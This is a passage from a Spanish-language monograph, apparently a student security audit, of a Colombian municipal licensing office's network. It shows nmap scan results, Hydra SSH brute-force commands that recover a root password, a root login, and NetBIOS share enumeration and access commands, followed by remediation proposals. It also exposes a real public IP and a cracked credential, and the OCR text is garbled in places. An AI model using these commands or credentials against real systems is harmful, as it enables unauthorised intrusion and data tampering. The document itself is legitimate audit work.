- 1XRJ-45 10/100Base-T para conexiones Ethernet

[l S

El Firewall es de tipo Software y esta alojado en el servidor Linux donde su
configuracion solo se limita a prestar el servicio de NAT (Network Address
Translation) y ruteo entre la red 192.168.0.0/24 y la red 192.168.1.0/24.

El servicio de Proxy en el Servidor Linux no esta funcionando.
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El servicio de Backup para los datos de toda la Curaduria Urbana #2 esta
funcionando.

La direccion de red entre el Modem y el Firewall es la 192.168.1.0/24.

El servicio de solicitud de licencia esta alojado en las maquinas de direccion
192.168.0.18/24 y 192.168.0.3/24 que a su vez son utilizados por funcionarios
para realizar otras cosas inherentes al cargo (estos dos servidores de contenidos,
paginas web, base de datos carecen de todo tipo de seguridad informatica).

9.1.3. Evaluacion de Software

Se llevo a cabo un escaneo para identificar puertos, sistemas operativos y
vulnerabilidades de la red 192.168.0.0/24. Esta informacién constituye una forma
eficaz de describir ciertas vulnerabilidades de la red en cuestion.

Direccion 192.168.0.3

PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
3306/tcp open mysq|
5800/tcp open vnc-http
5900/tcp open vnc
8080/tcp open http-proxy

MAC Address: 00:14:2A:70:CO0:6A (Elitegroup Computer System Co.)
Running: Microsoft Windows XP SP2

Vulnerabilidades: Netbios-ssn

El sistema carece de Login y Password al iniciar la
maquina.

Direccion 192.168.0.5

PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds

MAC Address: 00:19:D1:FA:43:1F (Intel)
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Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Running: Microsoft Windows XP SP2

Vulnerabilidades: Netbios-ssn, el sistema carece de Login y Password al

iniciar la maquina.

Direccion 192.168.0.8

All 1714 scanned ports on 192.168.0.8 are filtered

MAC Address: 00:04:AC:CB:89:C5 (IBM)

Too many fingerprints match this host to give specific OS details

Vulnerabilidades: Ninguna Detectada.

Direccion 192.168.0.12

PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds

MAC Address: 00:14:2A:79:1B:74 (Elitegroup Computer System Co.)

Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port

Device type: general purpose

Running: Microsoft Windows XP SP2

Vulnerabilidades: Netbios-ssn, el sistema carece de Login y Password al
iniciar la maquina.

Direccion 192.168.0.18

PORT STATE SERVICE
80/tcp open http

139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds

MAC Address: 00:13:8F:E8:2E:6A (Asiarock Incorporation)

Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port

Device type: general purpose

Running: Microsoft Windows XP SP2

Vulnerabilidades: Netbios-ssn, el sistema carece de Login y Password al
iniciar la maquina.

26



Direccion 192.168.0.19

PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds

MAC Address: 00:08:02:FB:FE:DC (Compag Computer)

Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port

Device type: general purpose

Running: Microsoft Windows XP

Netbios-ssn, el sistema carece de Login y Password al
iniciar la maquina.

Vulnerabilidades:

Direccion 192.168.0.50

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

111/cp open rpcbind

443/tcp open https

10000/tcp  open snet-sensor-mgmt

Device type: general purpose
Running: Linux 2.6.17 - 2.6.23

Vulnerabilidades: ssh violada por fuerza bruta

Direccion 192.168.0.52

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
857/tcp open unknown
5800/tcp open vnc-http
5900/tcp open vnc

MAC Address: 00:14:2A:FE:A7:AD (Elitegroup Computer System Co.)
Device type: general purpose
Running: Microsoft Windows XP SP2

Netbios-ssn, el sistema carece de Login y Password al
iniciar la maquina.

Vulnerabilidades:

En la curaduria la expedicion de licencias de construccion se lleva de una manera
sistematizada por medio de dos aplicaciones de intranet que maneja bases de
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datos interactivas que llevan el proceso desde su inicio hasta la culminacién de la
expedicidn de las licencias de construccion.

Figura 4. Aplicativo de expedicion de licencias en la
IP 192.168.0.3
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Figura 6. Aplicativo de expedicion de licencias en la
IP 192.168.0.18
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9.2. ANALISIS DE SEGURIDAD INFORMATICA A LOS PROCES 0OS
SISTEMATICOS.

Basado en las propiedades de un sistema seguro (Confidencialidad, Integridad y
Disponibilidad) se realizan ataques de prueba que no dejen inoperante el sistema
de informacién de la curaduria urbana # 2.

9.2.1. Penetracion del Servidor Principal Desde Ade  ntro de la Red.
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El escaneo de puertos dio como resultado un numero de puertos a los cuales se
pueden hacer ataques para obtener acceso a la informacion. Para el servidor se
utilizé un tipo de ataque que fue realizado con la herramienta hydra. Esta se hizo
hacia el puerto ssh bajo la penetracién por fuerza bruta el cual tuvo el siguiente
resultado.

bt ~ # hydra 192.168.0.50 ssh2 -s 22 -S -l root —P
/pentest/password/sshatter/passwords -t 36

Hydra v5.4 (c) 2006 by van Hauser / THC - use allow ed only for legal
purposes.

Hydra (http://www.thc.org) starting at 2008-10-08 0 9:56:04

[DATA] 36 tasks, 1 servers, 269 login tries (I:1/p: 269), ~7 tries per
task

[DATA] attacking service ssh2 on port 22

[STATUS] 261.64 tries/min, 266 tries in 00:01h, 3 t odo in 00:01h
[STATUS] attack finished for 192.168.0.50 (waiting for childs to finish)
[22][ssh2] host: 192.168.0.50 | ogi n: root password: phoeni x
Hydra (http://www.thc.org) finished at 2008-10-08 0 9:57:07

El resultado muestra que el superusuario (root) tiene una contrasefia vulnerable
por un diccionario.

Se penetra el servidor por el puerto ssh como superusuario teniendo en cuenta
gue puede no solamente bajar 0 subir servicios sino que ademas tiene permiso
sobre todas las maquinas adscritas a la red de la curaduria.

bt ~ # ssh root@192.168.0.50
root@192.168.0.50's password:

Last login: Wed Oct 8 09:26:39 2008 from 192.168.0 .60
[root@SERVIDOR ~J# Is

anaconda-ks.cfg Escritorio install.log.syslog P ublico
Descargas imagenes musica \% ideos
Documentos install.log Plantillas

[root@SERVIDOR ~J#

Este tipo de ataque permite la modificacion de la informacion, la fabricacion al
poder como root insertar nuevos usuarios y la interrupcion permitiendo hacer uso
de la denegacion de servicios DoS.

Con estos tipos de ataques se compromete la confidencialidad, la Integridad y la
disponibilidad de la informacion del servidor al bajar servicios como el iptables.
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9.2.2. Penetracion del Servidor Principal Desde Afu  era de la Red.

El ataque de penetracion desde afuera hacia la direccion de la red de la curaduria
urbana #2 (190.67.172.150) se hace por fuerza bruta con Hydra al puerto ssh.

bt ~ # hydra 190.67.172.150 ssh2 -s 22 -S -l root — P
/pentest/password/sshatter/passwords -t 36

Hydra v5.4 (c) 2006 by van Hauser / THC - use allow ed only for legal
purposes.

Hydra (http://www.thc.org) starting at 2008-10-08 1 0:03:04

[DATA] 36 tasks, 1 servers, 269 login tries (I:1/p: 269), ~7 tries per
task

[DATA] attacking service ssh2 on port 22

[STATUS] 261.64 tries/min, 266 tries in 00:01h, 3 t odo in 00:01h
[STATUS] attack finished for 190.67.172.150(waiting for childs to finish)
[22][ssh2] host: 192.168.0.50 | ogi n: root password: phoeni x
Hydra (http://www.thc.org) finished at 2008-10-08 1 0:03:15

Se presenta el mismo resultado. La adquisicion del password para el root del
Servidor. Se comprueba ingresando desde afuera por el puerto ssh.

bt ~ # ssh root@190.67.172.150

The authenticity of host '190.67.172.150 (190.67.17 2.150)' can't be
established.

RSA key fingerprint is af:4c:49:d3:1d:55:e9:df:ef:5 0:dd:c4:db:5b:31:69.
Are you sure you want to continue connecting (yes/n 0)?y

Please type 'yes' or 'no': yes

Warning: Permanently added '190.67.172.150' (RSA) t o the list of known
hosts.

root@190.67.172.150's password:

Last login: Wed Oct 8 11:34:40 2008 from 190.90.20 6.221
[root@SERVIDOR ~J# Is

anaconda-ks.cfg Documentos Imagenes install.l 0g.syslog Plantillas
Videos

Descargas Escritorio install.log Musica Publico

[root@SERVIDOR ~]#

Permite las mismas vulnerabilidades anteriormente descritas. Modificacién de la
informacion, la fabricacion al poder como root insertar nuevos usuarios y la
interrupcion permitiendo hacer uso de la denegacion de servicios DoS al bajar
servicios como el iptables.
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Estos tipos de ataques nuevamente comprometen la confidencialidad, la
Integridad y la disponibilidad de la informacién del servidor.

9.2.3. Servicio de Bacukup

En el transcurso de esta evaluacion se puso en funcionamiento el servicio de
Backup para la red de informacion el cual tiene el siguiente script.

#!/bin/bash
# full and incremental backup script

#Cambiar estos 5 valores para adecuarlo al sistema
#chmod +x backup-script

#cp backup /usr/bin/

#crontab -e

#0 10 * * * Jusr/bin/backup-script

mount /mnt/respaldo/administracion
mount /mnt/respaldo/angelica
mount /mnt/respaldo/claudia

mount /mnt/respaldo/omar

mount /mnt/respaldo/edgar

mount /mnt/respaldo/contadora
mount /mnt/respaldo/recepcion
#mount /mnt/respaldo/CarlosValero

MAQUINA=servidor # nombre de la maquina

DIRECTORIOS="/mnt/respaldo" #directorios a respalda r
BACKUPDIR=/home/backups # Directorio donde se guard a el backup (debe
existir)

FECHADIR=/home/backups # Directorio donde se guarda la fecha del ultimo
backup completo

TAR=/bin/tar # localizaciA3n del ejecutable tar (se localiza con whereis
tar)

BZ2=/bin/bzip2 # localizacion del ejecutable bzip2 (se localiza con
whereis bzip2)

EXCLUIR="--exclude ~* --exclude *.jpg --exclude *.g if --exclude *.bmp --
exclude *.png --exclude *.exe --exclude *.mp3 --exc lude *.wma --exclude
*.avi --exclude *.mpg* --exclude *.iso --exclude *. bak --exclude *.ini --
exclude *.db --exclude *.Ink --exclude *.nri --excl ude *.sav "

# A partir de aquA no hace falta tocar nada
PATH=/usr/local/bin:/usr/bin:/bin 3
DSEM="date +%a’ # DAa de la semana (por €j. miA©)
DMES="date +%d" # DAa del mes (por €j. 06)
DM="date +%d%b" # DAa y mes (por ej. 06jun)

# Cada 1 de mes se hace un backup completo
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# Cada Domingo se hace otro backup completo sobresc
domingo anterior

# Cada dAa se realiza un backup incremental. Cada b
sobrescribe

# el backup incremental del mismo dAa de la semana

# "NUEVO" coge la fecha del backup completo de cada
un backup de los archivos creados a partir de la fe

# Backup mensual completo - sobrescribe el del mes

if [ $DMES ="01"]; then

$TAR -cf SBACKUPDIR/$MAQUINA-$DM.tar $EXCLUIR $DIRE
$BZ2 $BACKUPDIR/$MAQUINA-$DM.tar

fi

# Backup semanal completo
if [ $DSEM = "sab" ]; then
AHORA="date +%d-%b"

# Actualizar fecha del backup completo

#echo $AHORA > $FECHADIR/$MAQUINA-fecha-backup-comp
$TAR -cf $BACKUPDIR/$MAQUINA-fecha-backup-completo.
$DIRECTORIOS

$BZ2 $BACKUPDIR/$MAQUINA-fecha-backup-completo.tar

# Backup incremental diario - sobrescribe el de la

else

# Obtener fecha del A°ltimo backup completo
#NUEVO="--newer="cat SFECHADIR/$MAQUINA-fecha-backu
$TAR -cf $BACKUPDIR/$MAQUINA-$DSEM.tar SEXCLUIR $DI
$BZ2 $BACKUPDIR/$MAQUINA-$DSEM.tar

fi

Este servicio permite hacer un backup diario, semanal y mensual a 8 maquinas

pertenecientes a la curaduria urbana.

Ademas permite excluir archivos de extension .jpg, .mwv, .ini entre otros que no
son relevantes a la hora de recuperar una informacion permitiendo asi mayor

optimizacién de la memoria del servidor.

Si este servicio es bajado, se ataca la disponibilidad e integridad de la informacién,
pues toda la informacidén queda expuesta a perderse. Ya que este servicio esta en
el servidor principal el cual fue accedido por fuerza bruta en andlisis anteriores se

ribiendo el backup del
ackup incremental
anterior.

domingo para realizar
cha de "NUEVOQO".

anterior

CTORIOS

leto
tar SEXCLUIR

semana anterior

p-completo™
RECTORIOS

evidencia que el servicio de backup también es vulnerable a ataques.

9.2.4. Firewall
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El firewall de la curaduria urbana permite dar acceso a internet a la red de
informacion de la curaduria urbana. Este servicio se encuentra alojado en el
servidor principal (192.168.0.50). El script se muestra a continuacion.

# Firewall configuration written by system-config-f irewall
# Manual customization of this file is not recommen ded.
*nat

:PREROUTING ACCEPT [0:0]

:OUTPUT ACCEPT [0:0]

:POSTROUTING ACCEPT [0:0]

-A POSTROUTING -0 eth+ -j MASQUERADE
-A POSTROUTING -0 ippp+ -j MASQUERADE
-A POSTROUTING -0 isdn+ -j MASQUERADE
-A POSTROUTING -0 ppp+ - MASQUERADE
-A POSTROUTING -0 tun+ -j MASQUERADE
COMMIT

*ilter

:INPUT ACCEPT [0:0]

:FORWARD ACCEPT [0:0]

:OUTPUT ACCEPT [0:0]

-A INPUT -m state --state ESTABLISHED,RELATED -j AC CEPT
-A INPUT -p icmp -j ACCEPT

-A INPUT -i lo -j ACCEPT

-A INPUT -i eth+ -j ACCEPT

-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A INPUT -m state --state NEW -m tcp -p tcp --dport 23 -j ACCEPT
-A FORWARD -m state --state ESTABLISHED,RELATED -j ACCEPT

-A FORWARD -p icmp -j ACCEPT
-A FORWARD -i lo -j ACCEPT

-A FORWARD -i eth+ -] ACCEPT
-A FORWARD -0 eth+ -j ACCEPT
-A FORWARD -0 ippp+ -j ACCEPT
-A FORWARD -0 isdn+ -j ACCEPT
-A FORWARD -0 ppp+ -j ACCEPT
-A FORWARD -0 tun+ -j ACCEPT

-A INPUT -j REJECT --reject-with icmp-host-prohibit ed
-A FORWARD -j REJECT --reject-with icmp-host-prohib ited
COMMIT

Si este servicio es bajado, se ataca la disponibilidad de la informacién, pues la red
interna de la curaduria no podra acceder a servicios necesarios para el buen
funcionamiento como lo es, la actualizacion del portal web, el correo electronico de
los diferentes funcionarios de la curaduria urbana, la actualizacién de definiciones
de virus para los antivirus instalados etc.



Ya que este servicio esta en el servidor principal el cual fue accedido por fuerza
bruta en analisis anteriores se evidencia que el servicio de firewall también es

vulnerable a ataques.

En orden de importancia la curaduria urbana #2 posee dos aplicativos de
expedicion de licencias en diferentes maquinas que trabajan bajo el protocolo http
y manejan bases de datos dentro de la intranet. Estas maquinas son la

192.168.0.18 y 192.168.0.3.

Figura 7. Red de Datos
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En la curaduria la expedicion de licencias de construccion se lleva de una manera
sistematizada por medio de una aplicacion intranet que maneja bases de datos
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interactivas que llevan el proceso desde su inicio hasta la culminacién de la
expedicion de las licencias de construccion.

Figura 8. Aplicativo de expedicion de licencias
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En el escaneo de los puertos y vulnerabilidades se evidencio el puerto 139/tcp
netbios-ssn para las maquinas 192.168.0.3 y 192.1687.0.18.

9.2.5. Ataque de la maquina 192.1687.0.18. Por el p uerto 139

C:\>nbtstat -A 192.168.0.18

Conexién de area local:
Direccion IP: [192.168.0.12] Id. de ambito : []
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NetBIOS Remote Machine Name Table

Nombre Tipo Estado
EDGAR <00> Unico  Registrado
CURADURIAURBANA<00> Grupo Registrado
EDGAR <20> Unico Registrado

CURADURIAURBANA<1E> Grupo Registrado

Direccion MAC = 00-13-8F-E8-2E-6A

C:\>NET USE

Se registraran las nuevas conexiones.

Estado Local Remoto Re d

Conectado \\192.168.0.18\IPC$ Re d de Microsoft
Windows

Se ha completado el comando correctamente.

Permite vulnerabilidades de modificacion de la informacion al copiar, insertar y
borrar archivos del sistema.

Permite interrupcion al hacer uso de la denegacion de servicios DoS bajando el
servicio de http.

Estos tipos de atagues comprometen la confidencialidad, la Integridad y la
disponibilidad de la informacion del servidor que contiene la aplicacion de
expedicion de licencias.

9.2.6. Ataque de la maquina 192.1687.0.3. Por el pu erto 139

C:\>net view \\192.168.0.3
Recursos compartidos en \\192.168.0.3

Nombre de recurso compartido Tipo Usado como Comentario
C_recepcion Disco

Carpeta de RED Disco

Documentos Disco

E Disco
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HPLaserJange Impresora
1020

Salvar Disco

xampp Disco

Se ha completado el comando correctamente.
C:\>net use
Se registraran las nuevas conexiones.

Estado Local Remoto Re
Conectado \\192.168.0.18\IPC$ Re
Windows

Se ha completado el comando correctamente.

C:\>

Estado Local Remoto Re
Conectado \\192.168.0.3\ipc$ Re
Windows

Se ha completado el comando correctamente.

C:\>net use \\192.168.0.3\E

Nombre local

Nombre remoto \\192.168.0.3\E

Tipo de recurso  Disco

Estado Conectado

Abiertos 0

N° de conexiones 1

Se ha completado el comando correctamente.

C:\>dir net use \\192.168.0.3\E
El dispositivo no esta listo.

C:\>net use \\192.168.0.3\E

Nombre local

Nombre remoto \\192.168.0.3\E

Tipo de recurso  Disco

Estado Conectado

Abiertos 0

N° de conexiones 1

Se ha completado el comando correctamente.

C:\>net use \\192.168.0.3\c_recepcion
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Se ha completado el comando correctamente.

C:\>dir net use \\192.168.0.3\c_recepcion\

El volumen de la unidad C no tiene etiqueta.

El nimero de serie del volumen es: BC04-1C97
Directorio de C:\

El volumen de la unidad \\192.168.0.3\c_recepcion n
etiqueta.

El nimero de serie del volumen es: 187C-1CFD
Directorio de \\192.168.0.3\c_recepcion

24/07/2008 02:30 a.m. 83.456 165ta4.exe
09/10/2006 10:19 a.m. <DIR> Apache

28/07/2005 03:48 a.m. <DIR> AppServ
01/02/2008 11:38 a.m. <DIR> Archivos d

26/07/2005 05:49 p.m. 0 AUTOEXEC.B
29/01/2008 09:00 a.m. 1.004 BIOSLOCK.I
26/07/2005 05:49 p.m. 0 CONFIG.SYS
23/05/2007 04:21 a.m. <DIR> Copia segu
26/10/2006 08:03 a.m. <DIR> Data
29/12/2004 12:57 a.m. 17.505 DBI.EXE
09/10/2006 10:21 a.m. 11 dnFormat.i
26/07/2005 05:52 p.m. <DIR> Documents
25/10/2006 12:15 a.m. 18 Emergency.
13/08/2008 07:43 a.m. 572.440 hpfr3740.1
09/10/2006 10:12 a.m. <DIR> Respaldo C
27/05/2008 06:56 a.m. <DIR> spoolerlog
26/09/2006 08:31 a.m. <DIR> UltraEdit
01/09/2008 10:58 a.m. <DIR> WINDOWS
14/02/2008 10:28 a.m. 0 ~WRDO0001.t

9 archivos 674.434 bytes
10 dirs 34.029.678.592 bytes libres

C:\>del net use \\192.168.0.3\documentos
No se encuentra C:\net
\\192.168.0.3\documentos\*, ¢ Esta seguro (S/N)? N

o tiene

e programa
AT
NI

ridad

ni

and Settings
pid

0g

uraduria

S

mp

Permite vulnerabilidades de modificacion de la informacion al copiar, insertar y

borrar archivos del sistema.

Permite interrupcion al hacer uso de la denegacion de servicios DoS bajando el

servicio de http o mysql.
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Estos tipos de ataques comprometen la confidencialidad, la Integridad y la
disponibilidad de la informacion del servidor.

9.2.7. Ataque de la maquina 192.168.0.52 (Contabili dad). Por el puerto 139

C:\>net view \\192.168.0.52
Recursos compartidos en \\192.168.0.52

Nombre de recurso compartido Tipo Comentario

Usado como

EpsonLX-300 Impresora
Epson LX-300+ (Copiar 1)
Impresora
hp LaserJet 1010 Series Driver
RECEPCION Impresora
RECEPCION
Salvar Disco

hpLaserJ

Visual TNS Disco
Se ha completado el comando correctamente.
Directorio de \\192.168.0.52\salvar

08/10/2008 09:21 a.m. <DIR>

08/10/2008 09:21 a.m. <DIR>

08/03/2007 03:05 p.m. 27.648 1.doc

18/04/2008 05:53 p.m. 583 Acceso directo a Mori
10/08/2007 05:55 p.m. 105.472 Acuerdo 32 de 197

rdeamor.Ink
5 Normas de U.doc

30/10/2007 03:53 p.m. 20.992 alvaro registro ci vil.doc
05/03/2007 05:59 p.m. 32.256 ARCHIVOS CURADURIA .doc
30/07/2007 04:56 p.m. 61.952 AUTO DE ARCHIV1.do c
30/07/2007 05:47 p.m. 106.496 AUTO DE ARCHIVO.d oc

06/06/2007 03:27 p.m. 398.336 BASE LIQUI DACIONES 2005-1.xls
08/09/2006 12:04 p.m. 19.968 BASE RTE | VAXxIs

15/06/2007 11:07 a.m. 15.360 BIENES.xIs

03/06/2008 08:22 a.m. 92.584 CALCULO MU LTIVARIADO.docx
28/04/2007 10:29 a.m. 15.360 CALCULO.xI s

14/01/2008 10:45 a.m. 23.040 CARLOS ALB ERTO VALERO.doc
09/02/2007 03:37 p.m. 24.064 carlos val ero.doc

22/10/2007 11:16 a.m. 13.824 CARREFUR.x Is

19/07/2007 10:32 a.m. 24.576 CARTA ENTR EGA INFORMES.doc
03/04/2007 09:58 a.m. 21.504 carta hori zonte.doc

15/08/2006 11:35 p.m. 22.016 carta indu stria y cio..doc
05/01/2007 05:36 p.m. 20.992 CARTA REVI SION JURIDICA.doc
19/04/2007 09:28 a.m. 21.504 CARTA TURI SMO.doc

10/10/2008 11:29 a.m. <DIR> CAVM

27/04/2007 10:52 a.m. 20.480 certificad o de ingresos.doc
27/05/2008 10:03 a.m. 22.016 CER EX. IN D Y CIO 2007.doc
27/07/2007 11:40 a.m. 19.968 CERTIFICAD OS POR RECLAMAR.doc
13/09/2007 11:35 a.m. 14.336 Conciliaci on banca.agosto.xls
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10/10/2006 10:09 a.m.
05/12/2006 09:17 a.m.
13/02/2007 08:08 a.m.
27/12/2006 10:31 a.m.
06/09/2007 11:01 a.m.
20/08/2006 04:10 a.m.
04/08/2007 11:22 a.m.
07/02/2007 11:20 a.m.
25/07/2007 03:26 p.m.
09/05/2007 02:27 p.m.
10/07/2007 09:27 a.m.
10/07/2007 09:27 a.m.
16/01/2008 11:17 a.m.
05/10/2007 09:39 a.m.
26/10/2007 09:40 a.m.
16/07/2007 08:22 a.m.
10/09/2007 08:23 a.m.
10/07/2007 09:29 a.m.
18/07/2007 05:56 p.m.
11/05/2007 04:58 p.m.
18/02/2008 09:08 a.m.
23/07/2007 03:34 p.m.
14/06/2007 02:32 p.m.
12/06/2007 09:17 a.m.
18/09/2007 09:23 a.m.
14/06/2007 03:32 p.m.
15/06/2007 02:25 p.m.
30/11/2007 08:40 a.m.

8.704 CONFERENCI
474.624 CONSTITUCI

<DIR> Contabler
<DIR> COPIAS SEG
<DIR> COPIASOPOR

28.672 CORREO ENV

20.480 CUENTA DE

24.576 cuenta de

31.232 CUENTA DE

52.224 CURADURIA
632 Davivienda

<DIR> Davivienda
<DIR> DECRETOS B

26.112 EMPRESA.do
13.824 ERIKA xIs
33.280 estado de
13.824 exito.desc
530 EXTRACTO J
18.432 facturas.x
19.456 FORMATO DE
47.616 FRA. PROFO
70.144 INFO LIQUI
47.616 INFORME LI
15.321 InfoUsu.ht
13.824 Librol.bas
250.880 licencias
398.336 LIQUIDACIO
13.824 liquidacio

C:\>del net use \\192.168.0.52\Salvar

No se encuentra C:\net

\\192.168.0.52\Salvar\*, ¢ Esta seguro (S/N)? N

Permite vulnerabilidades de modificacién de la informacién al copiar, insertar y

borrar archivos del sistema.

Permite interrupcion al hacer uso de la denegacion de servicios DoS bajando el

servicio de TNS.

Estos tipos de atagues comprometen la confidencialidad, la Integridad y la
disponibilidad de la informacion del PC que lleva la contabilidad de la curaduria

Urbana #2.

9.2.8. Otras Vulnerabilidades y/o Debilidades del S
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Carece del servicio de proxy para filtrar el trafico y dar permisos y restricciones a
los usuarios de la red. El proxy sali6 de servicio por falta de mantenimiento al
servidor.

El aplicativo de solicitud de licencias funciona en puestos de trabajo y no en
equipos exclusivos.

La informaciéon compartida en red no tiene privilegios y se puede acceder desde
cualquier equipo dentro de la red.

9.3. PROPUESTA DE MEJORAS DE SEGURIDAD INFORMATICA.

A continuacién se presentan las propuestas para mejorar la seguridad informatica
de la curaduria urbana #2 de Cucuta.

* Mejorar el servicio de ssh contra ataques de fuerza bruta instalando un
script que evite este tipo de ataques; esto permitird un acceso remoto muy
confiable y disminuira la probabilidad de éxito de los ataques por fuerza
bruta. Un ejemplo es el denyhost™.

* Autenticar cada host y usuario de la red local al iniciar una sesion para
llevar control de las personas que acceden a los equipos de la red. Un
ejemplo de este servicio es PAM*, que permite a los usuarios logiarse de
diferentes maneras para entrar a una red a hacer uso de los recursos de la
misma.

» Filtrar los puertos mas vulnerables para prevenir nuevos ataques al interior
de la red de datos de la curaduria.

* Poner en marcha el servidor proxy para filtrar paquetes que puedan afectar
el buen desempeiio de la red (virus, spam, etc.) y de sus funcionarios
(descargas, noticias, etc.). un ejemplo squid™*.

12 http://denyhosts.sourceforge.net/
B https://www.europe.redhat.com/documentation/rhl6.2/ref-guide-es/s1-sysadmin-auth.php3
14 http://www.squid-cache.org/
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Aumentar el grado de seguridad de firewall pues carece de todo tipo de
restricciones. (funciona como NAT hacia la red LAN).

Implementar RAID (Redundant Array of Inexpensive Disks) en nivel 1
(Mirror), para proteger la informaciéon en caso de fallas fisicas de los
servidores.

Aumentar el grado de seguridad del modem router para evitar la
suplantacién y/o minimizar el riesgo de ataques desde fuera de la red. (Se
debe tener encuentra que el router no tiene ningun grado de seguridad y
gue tiene el login y password por defecto)

Centralizar los servidores y poner en funcionamiento una redundancia entre
ellos para prevenir fallos de denegacion de servicio por ataques o por fallas
fisicas.

Implementar un antivirus en red para proteger de virus los puestos de
trabajo.

Realizar auditorias cada trimestre para la prevencion y verificacién del buen
funcionamiento de los equipos y servidores de la red.

Contratar una persona capacitada que pueda realizar y controlar las
gestiones, la seguridad y auditoria de la red y las configuraciones
necesarias en los puestos de trabajo.
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10.CONCLUSIONES

El firewall es una herramienta que permite o deniega el trafico entre dos o mas
redes de informacién y juega un papel muy importante dentro de una empresa
pues es normalmente el primer dispositivo de seguridad que se tiene.

Los servidores prestan labores importantes al interior de la curaduria urbana #2 y
es por eso que se deben auditar constantemente para preservar su informacion y
buen funcionamiento.

La autenticacion (Login y Password) son necesarias para garantizar que los
procesos que se llevan a cabo en un host o servidor son hechos por la persona
responsable del mismo.

La administracion de los equipos de red como Router y Switches permite
aumentar el grado de seguridad en una red.

La informacién de una entidad es el mayor de los tesoros que hay que preservar y
proteger.

El uso de un servidor proxy aumenta en grado de seguridad de la informacion
filtrando el contenido de la red de informacion.

El uso de respaldos o copias, previene perdidas de informacion valiosa al interior
de una entidad.

En analisis de las vulnerabilidades permite ver las fallas y debilidades de la misma
permitiendo una oportuna correccién al interior del sistema de informacion.

Parte de las debilidades del sistema de informaciéon de la Curaduria Urbana #2, se
debe a que nunca ha habido una planeacion ni gestion de la misma.



Los antivirus previenen y/o eliminan virus que ponen en riesgo la informacion pero
no eliminan las vulnerabilidades producto de programas, taques o exploits dentro
del sistema de informacion.

Las politicas de seguridad en una empresa son politicas o culturas que se crean
para minimizar ataques con ingenieria social o evitar errores tipicos de usuarios al
interior de la red de informacién.

La realizacion de auditorias al interior de una empresa permite prevenir y corregir
vulnerabilidades y fallas de seguridad.

La realizacion de esta monografia permitié auditar el sistema de informacion de la
Curaduria Urbana #2 y presentar fallas y vulnerabilidades para que sean
corregidas al interior de la misma y aumente su grado de seguridad contra
posibles fallas o intrusos.
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